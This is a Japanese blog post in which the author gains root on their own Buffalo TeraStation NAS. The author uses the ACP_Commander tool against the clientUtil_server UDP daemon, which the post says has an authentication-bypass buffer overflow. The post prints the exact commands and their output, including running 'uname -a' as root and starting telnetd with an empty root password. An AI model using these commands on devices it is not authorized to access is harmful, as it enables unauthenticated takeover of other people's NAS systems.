こんなことを書いたが、別にディスクを外さずともroot権限で自由にできるらしい。
Buffalo NAS-Centralなるサイトがあって、このシリーズ (LinkStation、玄箱、TeraStation) をいじくりたおすための情報がいろいろあるようだ。そこで見付けた話。
TeraStaionでは、clientUtil_serverというデーモンが (EM MODEであっても) 動作していて、ファームウェアの更新をしたり、管理ツールであるBuffalo NAS NavigatorなどがBuffalo製NASを見付けたりするのに使われているようだ。前にEM MODEになってしまったときは、TCPのスキャンだけして何もネットワークサービスは動いていないと思っていたのだが、こいつはUDPのサービス。盲点であった。で、これのクライアントとして動作するACP_CommanderなるJavaプログラムを使えばrootの権限であんなことも! こんなことも! できる、という。ソースコード中のコメントによれば、実はclientUtil_serverにはバッファオーバーフローの脆弱性があって、それを突くと本来必要な(?)認証がすり抜けられるというのだが、さて。
まずは小手試し。
C:\Documents and Settings\hoge>java -jar acp_commander.jar -t 192.168.x.x -c "uname -a" ACP_commander out of the linkstationwiki.net project. Used to send ACP-commands to Buffalo linkstation(R) LS-PRO. WARNING: This is experimental software that might brick your linkstation! Using random connID value = A2CDE09066D9 Using target: xxxxx.xxxxx.xxxxx/192.168.x.x Authenticate: OK (ACP_STATE_FAILURE) >uname -a Linux xxxxx 2.6.16.16-arm1-nfsd #1 Thu Jan 17 21:29:19 JST 2008 armv5tejl unknown C:\Documents and Settings\hoge>
きたきた。ではシリアルコンソールから起動時にRamRootを選んでEM MODEにして...
C:\Documents and Settings\hoge> java -jar acp_commander.jar -t 192.168.x.x -o ACP_commander out of the linkstationwiki.net project. Used to send ACP-commands to Buffalo linkstation(R) LS-PRO. WARNING: This is experimental software that might brick your linkstation! Using random connID value = 99CEB61E4FA5 Using target: xxxxx.xxxxx.xxxxx/192.168.x.x Authenticate: OK (ACP_STATE_FAILURE) start telnetd... OK (ACP_STATE_OK) Reset root pwd... Password changed. You can now telnet to your box as user 'root' providingno / an empty password. C:\Documents and Settings\hoge>
ここでTeraStationにtelnet接続してみると、たしかにパスワードなしでrootでログインできる。ディスク上のファイルシステムはマウントされていないが、手でRAID構成してマウントするのは簡単。なるほど...
コメントする